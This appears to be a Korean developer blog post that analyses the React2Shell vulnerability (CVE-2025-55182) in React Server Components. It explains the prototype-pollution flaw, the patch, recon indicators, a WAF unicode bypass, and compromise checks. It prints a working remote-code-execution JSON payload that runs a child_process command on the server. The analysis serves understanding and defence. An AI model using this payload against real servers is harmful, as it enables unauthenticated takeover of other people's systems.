React2Shell (CVE-2025-55182) 뜯어보기
직접 공격을 당해보니 위험성을 더 잘 느낄 수 있었습니다.
이번 취약점 레벨은 CVSS 10.0 로 인증 없이 원격 코드 실행(RCE)이 가능했습니다.
(server-action 을 안썼다면 그나마 안전했을까요?)
영향 범위는 React 19.x, Next.js 15.x 16.x 및 RSC 기반 프레임워크 입니다
(와 14는 안전하다! 했으나... 후속 취약점 발견으로 그냥 다 업데이트 해야 했습니다)
1. 근본 원인?
1.1 왜 이런일이..
React Server Components의 Flight Protocol 역직렬화 과정에서 두 가지 결함이 결합되어 발생했습니다.
- Prototype Pollution 미방어:
hasOwnProperty검증 없이 객체 속성에 접근 - Raw Chunk Reference: Promise 객체 자체에 대한 참조를 허용
1.2 기술적 배경
Flight Protocol이란?
RSC는 서버에서 컴포넌트를 렌더링하고 그 결과를 클라이언트에 전달합니다.
이때 JSON으로는 표현할 수 없는 복잡한 타입(Promise, Blob, Map 등)을 처리하기 위해
독자적인 직렬화 포맷인 Flight Protocol을 사용합니다.
// Flight Protocol 표현식 예시
$@0 → Chunk 0에 대한 Promise 참조
$B0 → Blob 참조
$F0 → Server Function 참조
Prototype Pollution이란?
자바스크립트의 기본, 자바스크립트에서 객체는 prototype chain을 통해 부모 객체의 속성을 상속받습니다.
때문에 이를 악용하면 __proto__를 통해 모든 객체에 영향을 미치는 속성을 주입할 수 있습니다.hasOwnProperty 만 있었어도..
let obj1 = {};
console.log(obj1.foo); // undefined
Object.prototype.foo = "polluted";
let obj2 = {};
console.log(obj2.foo); // "polluted" (오염됨!)
console.log(obj2.hasOwnProperty("foo")); // false (자신의 속성이 아님)
1.3 취약점 발생 단계
Step 1: 취약한 코드의 위치
ReactFlightReplyServer.js의 getOutlinedModel() 함수:
function getOutlinedModel(response, reference, parentObject, key, map) {
const path = reference.split(':');
const id = parseInt(path[0], 16);
const chunk = getChunk(response, id);
// ...상태 확인 로직...
switch (chunk.status) {
case INITIALIZED:
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // ⚠️ hasOwnProperty 검증 없음!
}
return map(response, value);
}
}
path 배열의 각 요소로 value 객체를 순회할 때 hasOwnProperty 검증이 없어 __proto__ 접근이 가능합니다ㅜㅜ
Step 2: Primitive 획득 과정
Primitive #1 - Chunk.prototype 접근
// 공격자 입력
reference = "$1:__proto__:then"
// 해석 과정
1번 Chunk의 __proto__ (= Chunk.prototype)의 then 메서드 참조
$@0 같은 표현은 Promise 객체 자체를 반환하므로, 이를 통해 Chunk.prototype에 접근할 수 있습니다.
Primitive #2 - initializeModelChunk 호출 제어
Chunk.prototype.then은 내부적으로 initializeModelChunk()를 호출합니다:
Chunk.prototype.then = function(resolve, reject) {
const chunk = this;
switch (chunk.status) {
case RESOLVED_MODEL:
initializeModelChunk(chunk); // ← 공격자가 제어 가능!
break;
}
// ...
switch (chunk.status) {
case INITIALIZED:
resolve(chunk.value); // ← 여기서 악성 함수 실행
break;
}
};
Primitive #3 - 임의 함수 생성 및 실행
parseModelString()의 Blob 처리 로직을 악용:
case 'B': {
const id = parseInt(value.slice(2), 16);
const blobKey = response._prefix + id;
const backingEntry = response._formData.get(blobKey); // ← 공격자 제어
return backingEntry;
}
response._formData.get을 Function.constructor로 설정하면 임의 함수 생성이 가능합니다.
Step 3: 최종 공격 페이로드
{
"then": "$1:__proto__:then", // Chunk.prototype.then 참조
"status": "resolved_model",
"value": "{\"then\": \"$B1\"}", // Blob을 통한 함수 생성
"_response": {
"_formData": {
"get": "$1:constructor:constructor" // Function.constructor
},
"_prefix": "process.mainModule.require('child_process').execSync('id');//"
}
}
Step 4: 실행 흐름
1. then이 Chunk.prototype.then으로 설정됨
2. 객체가 resolve될 때 then() 호출
3. this.status가 "resolved_model"이므로 initializeModelChunk() 호출
4. value 파싱 과정에서 $B1이 Function.constructor로 처리됨
5. _prefix에 담긴 악성 JavaScript 코드가 서버에서 실행됨!
1.4 패치 내용
커밋 7dc903c에서 hasOwnProperty 검증이 추가됨
// 패치 후
for (let i = 1; i < path.length; i++) {
if (!value.hasOwnProperty(path[i])) {
// __proto__ 등 prototype chain 접근 차단
throw new Error('Invalid property access');
}
value = value[path[i]];
}
2. 실무자가 확인할 수 있는 RSC 노출 정보
악성 사용자가 정찰 단계에서 수집할 수 있는 정보는 다음과 같았습니다.
2.1 HTML에 노출되는 Server Action ID
브라우저 개발자 도구에서 페이지 소스를 확인하면 Server Action의 ID가 노출됩니다:
<!-- 페이지 소스 예시 -->
<script>
self.__next_f.push([1, "1:\"$ACTION_ID_abc123def456\"\n"])
</script>
<!-- 또는 form의 hidden input으로 -->
<form action="">
<input type="hidden" name="$ACTION_REF_ID" value="abc123def456" />
</form>
확인 방법:
- 개발자 도구 → Network 탭
- RSC 요청 확인(
?_rsc=파라미터가 붙은 요청) < 이라고 하지만 그냥 Doc 탭의 요청 내역에서 Response 보면 됨 - Response에서
$ACTION_ID또는$F패턴 검색
2.2 Next-Action 헤더
Server Action 호출 시 Next-Action 헤더가 전송됩니다:
POST /api/action HTTP/1.1
Host: example.com
Content-Type: multipart/form-data
Next-Action: abc123def456789
확인 방법:
// 브라우저 콘솔에서 실행
const observer = new PerformanceObserver((list) => {
for (const entry of list.getEntries()) {
if (entry.name.includes('_rsc')) {
console.log('RSC Request:', entry.name);
}
}
});
observer.observe({ entryTypes: ['resource'] });
2.3 Flight Protocol 페이로드 구조
Network 탭에서 RSC 응답을 확인하면 Flight Protocol 형식을 볼 수 있습니다:
0:["$","div",null,{"children":"Hello"}]
1:["$","$L2",null,{}]
2:I["@/components/Button","default"]
주요 패턴:
$L: Lazy 컴포넌트 참조$F: Server Function 참조$@: Promise/Chunk 참조I[...]: Import 구문
2.4 RSC 엔드포인트 식별
# RSC 엔드포인트 패턴
GET /?_rsc=xxxxx HTTP/1.1
POST / HTTP/1.1 (with Next-Action header)
# curl로 확인
curl -I "https://target.com/?_rsc=test" \
-H "RSC: 1" \
-H "Next-Router-State-Tree: ..."
2.5 버전 정보 노출
브라우저 콘솔에서 Next.js 버전 확인:
// 브라우저 콘솔
next.version // 예: "15.3.4"
또는 /_next/static/chunks/ 경로의 파일명에서 버전 힌트를 얻을 수 있습니다.
2.6 자체 점검 해보기
□ package.json에서 next, react-server-dom-* 버전 확인
□ 빌드 결과물에서 Server Action ID 노출 여부 확인
□ Network 탭에서 Flight Protocol 요청/응답 모니터링
□ 에러 메시지에서 내부 경로 노출 여부 확인
□ Source Map 비활성화 여부 확인 (프로덕션)
3. 대처 방안
3.1 즉각적인 패치
패치 적용이 유일한 해결책이었습니다...!!
자동 업그레이드 도구가 있긴합니다
npx fix-react2shell-next
3.2 WAF로 방어할 수 없는 이유
WAF(Web Application Firewall) 규칙은 완전한 방어가 불가능합니다:
// Flight Protocol은 JSON.parse를 사용하므로 유니코드 우회 가능
{
"\u0074\u0068\u0065\u006e": "\u0024\u0031\u003a..."
}
// 위 코드는 "then": "$1:..."과 동일
Vercel은 WAF 규칙을 배포했지만, 이는 추가적인 방어층일 뿐 패치를 대체하지 못합니다.
3.4 침해 여부 점검
12월 4일 이전에 취약한 버전으로 운영했다면 침해를 가정하고 대응하는 편이 좋았습니다
점검 항목:
□ 비정상적인 POST 요청 로그 확인 (특히 multipart/form-data)
□ 서버 함수 타임아웃 급증 여부
□ 예기치 않은 프로세스 생성 로그
□ 아웃바운드 네트워크 연결 이상 여부
3.5 시크릿 로테이션
침해 가능성이 있다면 모든 시크릿을 교체해야 합니다:
3.6 영향받지 않는 경우
다음 조건에 해당하면 이 취약점의 영향을 받지 않습니다:
- React 코드가 서버에서 실행되지 않는 경우 (순수 CSR)
- React Server Components를 지원하지 않는 번들러/프레임워크 사용
Next.js 14.2.x 이하 안정 버전 사용 (14.3.0-canary.77 미만)< 후속 취약점으로 인해 모두 영향받음
참고 자료
'TIL' 카테고리의 다른 글
| [251127 TIL] Next.js 이미지 최적화 정리 (0) | 2025.11.27 |
|---|---|
| [251124 TIL] 간접 의존성 관련 업데이트 (0) | 2025.11.24 |
| [251123 TIL] Turbopack 간접 의존성 경고 상황 (0) | 2025.11.23 |
| [251123 TIL] OpenTelemetry? (with Next.js) (0) | 2025.11.23 |
| [251123 TIL] Next.js instrumentation.ts 정리 (0) | 2025.11.23 |